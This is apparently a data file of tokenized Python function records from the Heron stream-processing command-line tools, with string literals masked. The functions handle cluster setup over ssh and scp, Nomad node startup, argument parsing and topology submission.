{"signature": "def scp_package(package_file, destinations, cl_args):", "body": "pids = []<EOL>for dest in destinations:<EOL><INDENT>if is_self(dest):<EOL><INDENT>continue<EOL><DEDENT>Log.info(\"<STR_LIT>\" % dest)<EOL>file_path = \"<STR_LIT>\"<EOL>dest_file_path = \"<STR_LIT>\" % (dest, file_path)<EOL>remote_cmd = \"<STR_LIT>\"\"<STR_LIT>\" % (file_path)<EOL>cmd = '<STR_LIT>'% (scp_cmd(package_file, dest_file_path, cl_args),<EOL>ssh_remote_execute(remote_cmd, dest, cl_args))<EOL>Log.debug(cmd)<EOL>pid = subprocess.Popen(cmd,<EOL>shell=True,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>pids.append({\"<STR_LIT>\": pid, \"<STR_LIT>\": dest})<EOL><DEDENT>errors = []<EOL>for entry in pids:<EOL><INDENT>pid = entry[\"<STR_LIT>\"]<EOL>return_code = pid.wait()<EOL>output = pid.communicate()<EOL>Log.debug(\"<STR_LIT>\" % (return_code, output))<EOL>if return_code != <NUM_LIT:0>:<EOL><INDENT>errors.append(\"<STR_LIT>\" % (entry[\"<STR_LIT>\"], output[<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>if errors:<EOL><INDENT>for error in errors:<EOL><INDENT>Log.error(error)<EOL><DEDENT>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>Log.info(\"<STR_LIT>\")<EOL>", "docstring": "scp and extract package", "id": "f7362:m22"}
{"signature": "def make_tarfile(output_filename, source_dir):", "body": "with tarfile.open(output_filename, \"<STR_LIT>\") as tar:<EOL><INDENT>tar.add(source_dir, arcname=os.path.basename(source_dir))<EOL><DEDENT>", "docstring": "Tar a directory", "id": "f7362:m23"}
{"signature": "def start_master_nodes(masters, cl_args):", "body": "pids = []<EOL>for master in masters:<EOL><INDENT>Log.info(\"<STR_LIT>\" % master)<EOL>cmd = \"<STR_LIT>\"% (get_nomad_path(cl_args), get_nomad_master_config_file(cl_args))<EOL>if not is_self(master):<EOL><INDENT>cmd = ssh_remote_execute(cmd, master, cl_args)<EOL><DEDENT>Log.debug(cmd)<EOL>pid = subprocess.Popen(cmd,<EOL>shell=True,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>pids.append({\"<STR_LIT>\": pid, \"<STR_LIT>\": master})<EOL><DEDENT>errors = []<EOL>for entry in pids:<EOL><INDENT>pid = entry[\"<STR_LIT>\"]<EOL>return_code = pid.wait()<EOL>output = pid.communicate()<EOL>Log.debug(\"<STR_LIT>\" % (return_code, output))<EOL>if return_code != <NUM_LIT:0>:<EOL><INDENT>errors.append(\"<STR_LIT>\" % (entry[\"<STR_LIT>\"], output[<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>if errors:<EOL><INDENT>for error in errors:<EOL><INDENT>Log.error(error)<EOL><DEDENT>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>Log.info(\"<STR_LIT>\")<EOL>", "docstring": "Start master nodes", "id": "f7362:m24"}
{"signature": "def start_slave_nodes(slaves, cl_args):", "body": "pids = []<EOL>for slave in slaves:<EOL><INDENT>Log.info(\"<STR_LIT>\" % slave)<EOL>cmd = \"<STR_LIT>\"% (get_nomad_path(cl_args), get_nomad_slave_config_file(cl_args))<EOL>if not is_self(slave):<EOL><INDENT>cmd = ssh_remote_execute(cmd, slave, cl_args)<EOL><DEDENT>Log.debug(cmd)<EOL>pid = subprocess.Popen(cmd,<EOL>shell=True,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>pids.append({\"<STR_LIT>\": pid, \"<STR_LIT>\": slave})<EOL><DEDENT>errors = []<EOL>for entry in pids:<EOL><INDENT>pid = entry[\"<STR_LIT>\"]<EOL>return_code = pid.wait()<EOL>output = pid.communicate()<EOL>Log.debug(\"<STR_LIT>\" % (return_code, output))<EOL>if return_code != <NUM_LIT:0>:<EOL><INDENT>errors.append(\"<STR_LIT>\" % (entry[\"<STR_LIT>\"], output[<NUM_LIT:1>]))<EOL><DEDENT><DEDENT>if errors:<EOL><INDENT>for error in errors:<EOL><INDENT>Log.error(error)<EOL><DEDENT>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>Log.info(\"<STR_LIT>\")<EOL>", "docstring": "Star slave nodes", "id": "f7362:m25"}
{"signature": "def read_and_parse_roles(cl_args):", "body": "roles = dict()<EOL>with open(get_inventory_file(cl_args), '<STR_LIT:r>') as stream:<EOL><INDENT>try:<EOL><INDENT>roles = yaml.load(stream)<EOL><DEDENT>except yaml.YAMLError as exc:<EOL><INDENT>Log.error(\"<STR_LIT>\" % exc)<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if Role.ZOOKEEPERS not in roles or not roles[Role.ZOOKEEPERS]:<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>if Role.CLUSTER not in roles or not roles[Role.CLUSTER]:<EOL><INDENT>Log.error(\"<STR_LIT>\")<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>roles[Role.MASTERS] = set([roles[Role.CLUSTER][<NUM_LIT:0>]])<EOL>roles[Role.SLAVES] = set(roles[Role.CLUSTER])<EOL>roles[Role.ZOOKEEPERS] = set(roles[Role.ZOOKEEPERS])<EOL>roles[Role.CLUSTER] = set(roles[Role.CLUSTER])<EOL>return roles<EOL>", "docstring": "read config files to get roles", "id": "f7362:m26"}
{"signature": "def read_file(file_path):", "body": "lines = []<EOL>with open(file_path, \"<STR_LIT:r>\") as tf:<EOL><INDENT>lines = [line.strip(\"<STR_LIT:\\n>\") for line in tf.readlines() if not line.startswith(\"<STR_LIT:#>\")]<EOL>lines = [line for line in lines if line]<EOL><DEDENT>return lines<EOL>", "docstring": "read file", "id": "f7362:m27"}
{"signature": "def call_editor(file_path):", "body": "EDITOR = os.environ.get('<STR_LIT>', '<STR_LIT>')<EOL>with open(file_path, '<STR_LIT>') as tf:<EOL><INDENT>call([EDITOR, tf.name])<EOL><DEDENT>", "docstring": "call editor", "id": "f7362:m28"}
{"signature": "def get_inventory_file(cl_args):", "body": "return \"<STR_LIT>\" % cl_args[\"<STR_LIT>\"]<EOL>", "docstring": "get the location of inventory file", "id": "f7362:m29"}
{"signature": "def ssh_remote_execute(cmd, host, cl_args):", "body": "ssh = '<STR_LIT>' % (host, cmd)<EOL>return ssh<EOL>", "docstring": "get ssh remote execute command", "id": "f7362:m30"}
{"signature": "def scp_cmd(src, dest, cl_args):", "body": "scp = '<STR_LIT>' % (src, dest)<EOL>return scp<EOL>", "docstring": "get scp command", "id": "f7362:m31"}
{"signature": "def get_nomad_path(cl_args):", "body": "return \"<STR_LIT>\" % config.get_heron_bin_dir()<EOL>", "docstring": "get path to nomad binary", "id": "f7362:m32"}
{"signature": "def get_nomad_master_config_file(cl_args):", "body": "return \"<STR_LIT>\" % config.get_heron_conf_dir()<EOL>", "docstring": "get path to nomad master config file", "id": "f7362:m33"}
{"signature": "def get_nomad_slave_config_file(cl_args):", "body": "return \"<STR_LIT>\" % config.get_heron_conf_dir()<EOL>", "docstring": "get path to nomad slave config file", "id": "f7362:m34"}
{"signature": "def get_apiserver_job_file(cl_args):", "body": "return \"<STR_LIT>\" % config.get_heron_conf_dir()<EOL>", "docstring": "get path to API server job file", "id": "f7362:m35"}
{"signature": "def get_heron_tools_job_file(cl_args):", "body": "return \"<STR_LIT>\" % config.get_heron_conf_dir()<EOL>", "docstring": "get path to API server job file", "id": "f7362:m36"}
{"signature": "def get_remote_home(host, cl_args):", "body": "cmd = \"<STR_LIT>\"<EOL>if not is_self(host):<EOL><INDENT>cmd = ssh_remote_execute(cmd, host, cl_args)<EOL><DEDENT>pid = subprocess.Popen(cmd,<EOL>shell=True,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>return_code = pid.wait()<EOL>output = pid.communicate()<EOL>if return_code != <NUM_LIT:0>:<EOL><INDENT>Log.error(\"<STR_LIT>\" % (host, output))<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>return output[<NUM_LIT:0>].strip(\"<STR_LIT:\\n>\")<EOL>", "docstring": "get home directory of remote host", "id": "f7362:m37"}
{"signature": "def get_self_ip():", "body": "return socket.gethostbyname(socket.gethostname())<EOL>", "docstring": "get IP address of self", "id": "f7362:m38"}
{"signature": "def get_self_hostname():", "body": "return socket.gethostname()<EOL>", "docstring": "get hostname of self", "id": "f7362:m39"}
{"signature": "def get_hostname(ip_addr, cl_args):", "body": "if is_self(ip_addr):<EOL><INDENT>return get_self_hostname()<EOL><DEDENT>cmd = \"<STR_LIT>\"<EOL>ssh_cmd = ssh_remote_execute(cmd, ip_addr, cl_args)<EOL>pid = subprocess.Popen(ssh_cmd,<EOL>shell=True,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>return_code = pid.wait()<EOL>output = pid.communicate()<EOL>if return_code != <NUM_LIT:0>:<EOL><INDENT>Log.error(\"<STR_LIT>\" % (ip_addr, output))<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>return output[<NUM_LIT:0>].strip(\"<STR_LIT:\\n>\")<EOL>", "docstring": "get host name of remote host", "id": "f7362:m40"}
{"signature": "def is_self(addr):", "body": "ips = []<EOL>for i in netifaces.interfaces():<EOL><INDENT>entry = netifaces.ifaddresses(i)<EOL>if netifaces.AF_INET in entry:<EOL><INDENT>for ipv4 in entry[netifaces.AF_INET]:<EOL><INDENT>if \"<STR_LIT>\" in ipv4:<EOL><INDENT>ips.append(ipv4[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return addr in ips or addr == get_self_hostname()<EOL>", "docstring": "check if this host is this addr", "id": "f7362:m44"}
{"signature": "def get_command_handlers():", "body": "return {<EOL>'<STR_LIT>': standalone,<EOL>}<EOL>", "docstring": "Create a map of command names and handlers", "id": "f7363:m0"}
{"signature": "def create_parser(command_handlers):", "body": "parser = argparse.ArgumentParser(<EOL>prog='<STR_LIT>',<EOL>epilog=HELP_EPILOG,<EOL>formatter_class=config.SubcommandHelpFormatter,<EOL>add_help=True)<EOL>subparsers = parser.add_subparsers(<EOL>title=\"<STR_LIT>\",<EOL>metavar='<STR_LIT>')<EOL>command_list = sorted(command_handlers.items())<EOL>for command in command_list:<EOL><INDENT>command[<NUM_LIT:1>].create_parser(subparsers)<EOL><DEDENT>return parser<EOL>", "docstring": "Main parser\n:return:", "id": "f7363:m1"}
{"signature": "def run(handlers, command, parser, command_args, unknown_args):", "body": "if command in handlers:<EOL><INDENT>return handlers[command].run(command, parser, command_args, unknown_args)<EOL><DEDENT>else:<EOL><INDENT>err_context = '<STR_LIT>' % command<EOL>return result.SimpleResult(result.Status.InvocationError, err_context)<EOL><DEDENT>", "docstring": "Run the command\n:param command:\n:param parser:\n:param command_args:\n:param unknown_args:\n:return:", "id": "f7363:m2"}
{"signature": "def cleanup(files):", "body": "for cur_file in files:<EOL><INDENT>if os.path.isdir(cur_file):<EOL><INDENT>shutil.rmtree(cur_file)<EOL><DEDENT>else:<EOL><INDENT>shutil.rmtree(os.path.dirname(cur_file))<EOL><DEDENT><DEDENT>", "docstring": ":param files:\n:return:", "id": "f7363:m3"}
{"signature": "def check_environment():", "body": "if not config.check_java_home_set():<EOL><INDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if not config.check_release_file_exists():<EOL><INDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Check whether the environment variables are set\n:return:", "id": "f7363:m4"}
{"signature": "def execute(handlers):", "body": "<EOL>check_environment()<EOL>parser = create_parser(handlers)<EOL>if len(sys.argv[<NUM_LIT:1>:]) == <NUM_LIT:0>:<EOL><INDENT>parser.print_help()<EOL>return <NUM_LIT:0><EOL><DEDENT>sys.argv = config.insert_bool_values(sys.argv)<EOL>try:<EOL><INDENT>args, unknown_args = parser.parse_known_args()<EOL><DEDENT>except ValueError as ex:<EOL><INDENT>Log.error(\"<STR_LIT>\", str(ex))<EOL>Log.debug(traceback.format_exc())<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>command_line_args = vars(args)<EOL>log.set_logging_level(command_line_args)<EOL>Log.debug(\"<STR_LIT>\", command_line_args)<EOL>command = command_line_args['<STR_LIT>']<EOL>Log.debug(\"<STR_LIT>\", command_line_args)<EOL>results = run(handlers, command, parser, command_line_args, unknown_args)<EOL>return <NUM_LIT:0> if result.is_successful(results) else <NUM_LIT:1><EOL>", "docstring": "Run the command\n:return:", "id": "f7363:m5"}
{"signature": "def create_parser(subparsers):", "body": "parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=True)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>)<EOL>ex_subparsers = parser.add_subparsers(<EOL>title=\"<STR_LIT>\",<EOL>description=None)<EOL>list_parser = ex_subparsers.add_parser(<EOL>'<STR_LIT:list>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=True)<EOL>list_parser.set_defaults(configcommand='<STR_LIT:list>')<EOL>set_parser = ex_subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=True)<EOL>set_parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>)<EOL>set_parser.add_argument(<EOL>'<STR_LIT:value>',<EOL>help='<STR_LIT>'<EOL>)<EOL>set_parser.set_defaults(configcommand='<STR_LIT>')<EOL>unset_parser = ex_subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=True)<EOL>unset_parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>)<EOL>unset_parser.set_defaults(configcommand='<STR_LIT>')<EOL>parser.set_defaults(subcommand='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param subparsers:\n:return:", "id": "f7366:m0"}
{"signature": "def run(command, parser, cl_args, unknown_args):", "body": "configcommand = cl_args.get('<STR_LIT>', None)<EOL>if configcommand == '<STR_LIT>':<EOL><INDENT>return _set(cl_args)<EOL><DEDENT>elif configcommand == '<STR_LIT>':<EOL><INDENT>return _unset(cl_args)<EOL><DEDENT>else:<EOL><INDENT>return _list(cl_args)<EOL><DEDENT>", "docstring": ":param command:\n:param parser:\n:param args:\n:param unknown_args:\n:return:", "id": "f7366:m4"}
{"signature": "def read_server_mode_cluster_definition(cluster, cl_args):", "body": "client_confs = dict()<EOL>client_confs[cluster] = cliconfig.cluster_config(cluster)<EOL>if cl_args.get('<STR_LIT>', None):<EOL><INDENT>client_confs[cluster]['<STR_LIT>'] = cl_args['<STR_LIT>']<EOL><DEDENT>return client_confs<EOL>", "docstring": "Read the cluster definition for server mode\n:param cluster:\n:param cl_args:\n:param config_file:\n:return:", "id": "f7367:m0"}
{"signature": "def check_direct_mode_cluster_definition(cluster, config_path):", "body": "config_path = config.get_heron_cluster_conf_dir(cluster, config_path)<EOL>if not os.path.isdir(config_path):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Check the cluster definition for direct mode\n:param cluster:\n:param config_path:\n:return:", "id": "f7367:m1"}
{"signature": "def add_version_titles(parser):", "body": "<EOL>parser._positionals.title = \"<STR_LIT>\"<EOL>parser._optionals.title = \"<STR_LIT>\"<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7368:m0"}
{"signature": "def create_parser(subparsers):", "body": "parser = subparsers.add_parser(<EOL>'<STR_LIT:version>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\",<EOL>add_help=True)<EOL>add_version_titles(parser)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:?>',<EOL>type=str,<EOL>default=\"<STR_LIT>\",<EOL>help='<STR_LIT>')<EOL>cli_args.add_service_url(parser)<EOL>parser.set_defaults(subcommand='<STR_LIT:version>')<EOL>return parser<EOL>", "docstring": ":param subparsers:\n:return:", "id": "f7368:m1"}
{"signature": "def run(command, parser, cl_args, unknown_args):", "body": "cluster = cl_args['<STR_LIT>']<EOL>if cluster:<EOL><INDENT>config_file = config.heron_rc_file()<EOL>client_confs = dict()<EOL>client_confs = cdefs.read_server_mode_cluster_definition(cluster, cl_args, config_file)<EOL>if not client_confs[cluster]:<EOL><INDENT>Log.error('<STR_LIT>', cluster, config_file)<EOL>return SimpleResult(Status.HeronError)<EOL><DEDENT>if not '<STR_LIT>' in client_confs[cluster]:<EOL><INDENT>Log.error('<STR_LIT>', cluster, config_file)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>service_endpoint = cl_args['<STR_LIT>']<EOL>service_apiurl = service_endpoint + rest.ROUTE_SIGNATURES[command][<NUM_LIT:1>]<EOL>service_method = rest.ROUTE_SIGNATURES[command][<NUM_LIT:0>]<EOL>try:<EOL><INDENT>r = service_method(service_apiurl)<EOL>if r.status_code != requests.codes.ok:<EOL><INDENT>Log.error(r.json().get('<STR_LIT:message>', \"<STR_LIT>\" % r.status_code))<EOL><DEDENT>sorted_items = sorted(r.json().items(), key=lambda tup: tup[<NUM_LIT:0>])<EOL>for key, value in sorted_items:<EOL><INDENT>print(\"<STR_LIT>\" % (key, value))<EOL><DEDENT><DEDENT>except (requests.exceptions.ConnectionError, requests.exceptions.HTTPError) as err:<EOL><INDENT>Log.error(err)<EOL>return SimpleResult(Status.HeronError)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>config.print_build_info()<EOL><DEDENT>return SimpleResult(Status.Ok)<EOL>", "docstring": ":param command:\n:param parser:\n:param args:\n:param unknown_args:\n:return:", "id": "f7368:m2"}
{"signature": "def launch_mode_msg(cl_args):", "body": "if cl_args['<STR_LIT>']:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>return \"<STR_LIT>\"<EOL>", "docstring": "Depending on the mode of launching a topology provide a message\n:param cl_args:\n:return:", "id": "f7369:m0"}
{"signature": "def create_parser(subparsers):", "body": "parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\" +\"<STR_LIT>\",<EOL>add_help=True<EOL>)<EOL>cli_args.add_titles(parser)<EOL>cli_args.add_cluster_role_env(parser)<EOL>cli_args.add_topology_file(parser)<EOL>cli_args.add_topology_class(parser)<EOL>cli_args.add_config(parser)<EOL>cli_args.add_deactive_deploy(parser)<EOL>cli_args.add_dry_run(parser)<EOL>cli_args.add_extra_launch_classpath(parser)<EOL>cli_args.add_release_yaml_file(parser)<EOL>cli_args.add_service_url(parser)<EOL>cli_args.add_system_property(parser)<EOL>cli_args.add_verbose(parser)<EOL>parser.set_defaults(subcommand='<STR_LIT>')<EOL>return parser<EOL>", "docstring": "Create a subparser for the submit command\n:param subparsers:\n:return:", "id": "f7369:m1"}
{"signature": "def launch_a_topology(cl_args, tmp_dir, topology_file, topology_defn_file, topology_name):", "body": "<EOL>topology_pkg_path = config.normalized_class_path(os.path.join(tmp_dir, '<STR_LIT>'))<EOL>release_yaml_file = cl_args['<STR_LIT>']<EOL>config_path = cl_args['<STR_LIT>']<EOL>tar_pkg_files = [topology_file, topology_defn_file]<EOL>generated_config_files = [release_yaml_file, cl_args['<STR_LIT>']]<EOL>config.create_tar(topology_pkg_path, tar_pkg_files, config_path, generated_config_files)<EOL>args = [<EOL>\"<STR_LIT>\", cl_args['<STR_LIT>'],<EOL>\"<STR_LIT>\", cl_args['<STR_LIT>'],<EOL>\"<STR_LIT>\", cl_args['<STR_LIT>'],<EOL>\"<STR_LIT>\", cl_args['<STR_LIT>'],<EOL>\"<STR_LIT>\", config.get_heron_dir(),<EOL>\"<STR_LIT>\", config_path,<EOL>\"<STR_LIT>\", cl_args['<STR_LIT>'],<EOL>\"<STR_LIT>\", release_yaml_file,<EOL>\"<STR_LIT>\", topology_pkg_path,<EOL>\"<STR_LIT>\", topology_defn_file,<EOL>\"<STR_LIT>\", os.path.basename(topology_file)   <EOL>]<EOL>if Log.getEffectiveLevel() == logging.DEBUG:<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL><DEDENT>if cl_args[\"<STR_LIT>\"]:<EOL><INDENT>args.append(\"<STR_LIT>\")<EOL>if \"<STR_LIT>\" in cl_args:<EOL><INDENT>args += [\"<STR_LIT>\", cl_args[\"<STR_LIT>\"]]<EOL><DEDENT><DEDENT>lib_jars = config.get_heron_libs(<EOL>jars.scheduler_jars() + jars.uploader_jars() + jars.statemgr_jars() + jars.packing_jars()<EOL>)<EOL>extra_jars = cl_args['<STR_LIT>'].split('<STR_LIT::>')<EOL>main_class = '<STR_LIT>'<EOL>res = execute.heron_class(<EOL>class_name=main_class,<EOL>lib_jars=lib_jars,<EOL>extra_jars=extra_jars,<EOL>args=args,<EOL>java_defines=[])<EOL>err_ctxt = \"<STR_LIT>\" % (topology_name, launch_mode_msg(cl_args))<EOL>succ_ctxt = \"<STR_LIT>\" % (topology_name, launch_mode_msg(cl_args))<EOL>res.add_context(err_ctxt, succ_ctxt)<EOL>return res<EOL>", "docstring": "Launch a topology given topology jar, its definition file and configurations\n:param cl_args:\n:param tmp_dir:\n:param topology_file:\n:param topology_defn_file:\n:param topology_name:\n:return:", "id": "f7369:m2"}
{"signature": "def launch_topology_server(cl_args, topology_file, topology_defn_file, topology_name):", "body": "service_apiurl = cl_args['<STR_LIT>'] + rest.ROUTE_SIGNATURES['<STR_LIT>'][<NUM_LIT:1>]<EOL>service_method = rest.ROUTE_SIGNATURES['<STR_LIT>'][<NUM_LIT:0>]<EOL>data = dict(<EOL>name=topology_name,<EOL>cluster=cl_args['<STR_LIT>'],<EOL>role=cl_args['<STR_LIT>'],<EOL>environment=cl_args['<STR_LIT>'],<EOL>user=cl_args['<STR_LIT>'],<EOL>)<EOL>Log.info(\"<STR_LIT>\" + str(cl_args))<EOL>overrides = dict()<EOL>if '<STR_LIT>' in cl_args:<EOL><INDENT>overrides = config.parse_override_config(cl_args['<STR_LIT>'])<EOL><DEDENT>if overrides:<EOL><INDENT>data.update(overrides)<EOL><DEDENT>if cl_args['<STR_LIT>']:<EOL><INDENT>data[\"<STR_LIT>\"] = True<EOL><DEDENT>files = dict(<EOL>definition=open(topology_defn_file, '<STR_LIT:rb>'),<EOL>topology=open(topology_file, '<STR_LIT:rb>'),<EOL>)<EOL>err_ctxt = \"<STR_LIT>\" % (topology_name, launch_mode_msg(cl_args))<EOL>succ_ctxt = \"<STR_LIT>\" % (topology_name, launch_mode_msg(cl_args))<EOL>try:<EOL><INDENT>r = service_method(service_apiurl, data=data, files=files)<EOL>ok = r.status_code is requests.codes.ok<EOL>created = r.status_code is requests.codes.created<EOL>s = Status.Ok if created or ok else Status.HeronError<EOL>if s is Status.HeronError:<EOL><INDENT>Log.error(r.json().get('<STR_LIT:message>', \"<STR_LIT>\" % r.status_code))<EOL><DEDENT>elif ok:<EOL><INDENT>print(r.json().get(\"<STR_LIT>\"))<EOL><DEDENT><DEDENT>except (requests.exceptions.ConnectionError, requests.exceptions.HTTPError) as err:<EOL><INDENT>Log.error(err)<EOL>return SimpleResult(Status.HeronError, err_ctxt, succ_ctxt)<EOL><DEDENT>return SimpleResult(s, err_ctxt, succ_ctxt)<EOL>", "docstring": "Launch a topology given topology jar, its definition file and configurations\n:param cl_args:\n:param topology_file:\n:param topology_defn_file:\n:param topology_name:\n:return:", "id": "f7369:m3"}
{"signature": "def launch_topologies(cl_args, topology_file, tmp_dir):", "body": "<EOL>defn_files = glob.glob(tmp_dir + '<STR_LIT>')<EOL>if len(defn_files) == <NUM_LIT:0>:<EOL><INDENT>return SimpleResult(Status.HeronError, \"<STR_LIT>\" % tmp_dir)<EOL><DEDENT>results = []<EOL>for defn_file in defn_files:<EOL><INDENT>topology_defn = topology_pb2.Topology()<EOL>try:<EOL><INDENT>handle = open(defn_file, \"<STR_LIT:rb>\")<EOL>topology_defn.ParseFromString(handle.read())<EOL>handle.close()<EOL><DEDENT>except Exception as e:<EOL><INDENT>err_context = \"<STR_LIT>\" % (defn_file, e)<EOL>return SimpleResult(Status.HeronError, err_context)<EOL><DEDENT>Log.info(\"<STR_LIT>\", topology_defn.name, launch_mode_msg(cl_args))<EOL>if cl_args['<STR_LIT>'] == config.SERVER_MODE:<EOL><INDENT>res = launch_topology_server(<EOL>cl_args, topology_file, defn_file, topology_defn.name)<EOL><DEDENT>else:<EOL><INDENT>res = launch_a_topology(<EOL>cl_args, tmp_dir, topology_file, defn_file, topology_defn.name)<EOL><DEDENT>results.append(res)<EOL><DEDENT>return results<EOL>", "docstring": "Launch topologies\n:param cl_args:\n:param topology_file:\n:param tmp_dir:\n:return: list(Responses)", "id": "f7369:m4"}
{"signature": "def submit_fatjar(cl_args, unknown_args, tmp_dir):", "body": "<EOL>topology_file = cl_args['<STR_LIT>']<EOL>main_class = cl_args['<STR_LIT>']<EOL>res = execute.heron_class(<EOL>class_name=main_class,<EOL>lib_jars=config.get_heron_libs(jars.topology_jars()),<EOL>extra_jars=[topology_file],<EOL>args=tuple(unknown_args),<EOL>java_defines=cl_args['<STR_LIT>'])<EOL>result.render(res)<EOL>if not result.is_successful(res):<EOL><INDENT>err_context = (\"<STR_LIT>\"\"<STR_LIT>\") % (main_class, topology_file)<EOL>res.add_context(err_context)<EOL>return res<EOL><DEDENT>results = launch_topologies(cl_args, topology_file, tmp_dir)<EOL>return results<EOL>", "docstring": "We use the packer to make a package for the jar and dump it\nto a well-known location. We then run the main method of class\nwith the specified arguments. We pass arguments as an environment variable HERON_OPTIONS.\n\nThis will run the jar file with the topology_class_name. The submitter\ninside will write out the topology defn file to a location that\nwe specify. Then we write the topology defn file to a well known\nlocation. We then write to appropriate places in zookeeper\nand launch the scheduler jobs\n:param cl_args:\n:param unknown_args:\n:param tmp_dir:\n:return:", "id": "f7369:m5"}
{"signature": "def submit_tar(cl_args, unknown_args, tmp_dir):", "body": "<EOL>topology_file = cl_args['<STR_LIT>']<EOL>java_defines = cl_args['<STR_LIT>']<EOL>main_class = cl_args['<STR_LIT>']<EOL>res = execute.heron_tar(<EOL>main_class,<EOL>topology_file,<EOL>tuple(unknown_args),<EOL>tmp_dir,<EOL>java_defines)<EOL>result.render(res)<EOL>if not result.is_successful(res):<EOL><INDENT>err_context = (\"<STR_LIT>\"\"<STR_LIT>\") % (main_class, topology_file)<EOL>res.add_context(err_context)<EOL>return res<EOL><DEDENT>return launch_topologies(cl_args, topology_file, tmp_dir)<EOL>", "docstring": "Extract and execute the java files inside the tar and then add topology\ndefinition file created by running submitTopology\n\nWe use the packer to make a package for the tar and dump it\nto a well-known location. We then run the main method of class\nwith the specified arguments. We pass arguments as an environment variable HERON_OPTIONS.\nThis will run the jar file with the topology class name.\n\nThe submitter inside will write out the topology defn file to a location\nthat we specify. Then we write the topology defn file to a well known\npacker location. We then write to appropriate places in zookeeper\nand launch the aurora jobs\n:param cl_args:\n:param unknown_args:\n:param tmp_dir:\n:return:", "id": "f7369:m6"}
{"signature": "def run(command, parser, cl_args, unknown_args):", "body": "Log.debug(\"<STR_LIT>\", cl_args)<EOL>topology_file = cl_args['<STR_LIT>']<EOL>if urlparse.urlparse(topology_file).scheme:<EOL><INDENT>cl_args['<STR_LIT>'] = download(topology_file, cl_args['<STR_LIT>'])<EOL>topology_file = cl_args['<STR_LIT>']<EOL>Log.debug(\"<STR_LIT>\", topology_file)<EOL><DEDENT>if not os.path.isfile(topology_file):<EOL><INDENT>err_context = \"<STR_LIT>\" % topology_file<EOL>return SimpleResult(Status.InvocationError, err_context)<EOL><DEDENT>jar_type = topology_file.endswith(\"<STR_LIT>\")<EOL>tar_type = topology_file.endswith(\"<STR_LIT>\") or topology_file.endswith(\"<STR_LIT>\")<EOL>pex_type = topology_file.endswith(\"<STR_LIT>\")<EOL>cpp_type = topology_file.endswith(\"<STR_LIT>\") or topology_file.endswith(\"<STR_LIT>\")<EOL>if not (jar_type or tar_type or pex_type or cpp_type):<EOL><INDENT>_, ext_name = os.path.splitext(topology_file)<EOL>err_context = \"<STR_LIT>\"\"<STR_LIT>\"% ext_name<EOL>return SimpleResult(Status.InvocationError, err_context)<EOL><DEDENT>if cl_args['<STR_LIT>']:<EOL><INDENT>valid_classpath = classpath.valid_java_classpath(cl_args['<STR_LIT>'])<EOL>if not valid_classpath:<EOL><INDENT>err_context = \"<STR_LIT>\" %cl_args['<STR_LIT>']<EOL>return SimpleResult(Status.InvocationError, err_context)<EOL><DEDENT><DEDENT>tmp_dir = tempfile.mkdtemp()<EOL>opts.cleaned_up_files.append(tmp_dir)<EOL>if cl_args['<STR_LIT>']:<EOL><INDENT>initial_state = topology_pb2.TopologyState.Name(topology_pb2.PAUSED)<EOL><DEDENT>else:<EOL><INDENT>initial_state = topology_pb2.TopologyState.Name(topology_pb2.RUNNING)<EOL><DEDENT>opts.set_config('<STR_LIT>', tmp_dir)<EOL>opts.set_config('<STR_LIT>', initial_state)<EOL>opts.set_config('<STR_LIT>', cl_args['<STR_LIT>'])<EOL>opts.set_config('<STR_LIT>', cl_args['<STR_LIT>'])<EOL>if not cl_args['<STR_LIT>']:<EOL><INDENT>cl_args['<STR_LIT>'] = config.get_heron_release_file()<EOL><DEDENT>if jar_type:<EOL><INDENT>return submit_fatjar(cl_args, unknown_args, tmp_dir)<EOL><DEDENT>elif tar_type:<EOL><INDENT>return submit_tar(cl_args, unknown_args, tmp_dir)<EOL><DEDENT>elif cpp_type:<EOL><INDENT>return submit_cpp(cl_args, unknown_args, 